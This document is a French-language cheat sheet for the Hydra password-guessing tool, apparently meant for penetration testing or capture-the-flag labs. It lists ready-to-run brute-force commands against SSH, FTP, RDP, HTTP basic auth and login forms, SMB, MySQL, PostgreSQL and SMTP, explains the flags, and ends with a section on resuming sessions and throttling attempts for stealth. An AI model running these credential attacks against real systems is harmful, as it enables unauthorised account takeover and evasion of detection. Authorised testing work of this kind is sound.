#SSH / FTP / RDP
# SSH avec listes
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 4 -V
# Un utilisateur, plusieurs mots de passe
hydra -l admin -P passwords.txt ssh://10.10.10.10 -f
# FTP
hydra -L users.txt -P passwords.txt ftp://10.10.10.10
# RDP (module rdp, lent)
hydra -L users.txt -P passwords.txt rdp://10.10.10.10 -t 2 -V
| Option | Effet |
|---|---|
-l / -L |
Login unique / fichier |
-p / -P |
Mot de passe unique / fichier |
-t |
Tâches parallèles (défaut 16) |
-f |
Stop au premier succès |
-V |
Affiche chaque tentative |
-s |
Port custom |
-o |
Fichier de résultats |
#HTTP
# Basic auth
hydra -L users.txt -P passwords.txt target.test http-get /admin/
# Formulaire POST
hydra -L users.txt -P passwords.txt target.test http-post-form \
"/login:username=^USER^&password=^PASS^:F=Invalid credentials"
# Avec cookie et header
hydra -L users.txt -P passwords.txt target.test http-post-form \
"/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^}:F=401:H=Content-Type: application/json"
Syntaxe http-post-form : chemin:corps:condition.
F=échec (texte présent quand le login échoue).S=succès (texte présent quand le login réussit).H=header additionnel.C=cookie.
#Autres services
# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10
# MySQL
hydra -L users.txt -P passwords.txt mysql://10.10.10.10
# PostgreSQL
hydra -L users.txt -P passwords.txt postgres://10.10.10.10
# SMTP (enum + auth)
hydra -L users.txt -P passwords.txt smtp://10.10.10.10
#Reprise et discrétion
# Sauvegarder la session
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -o hydra.log
# Reprendre
hydra -R
# Ralentir
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 1 -w 3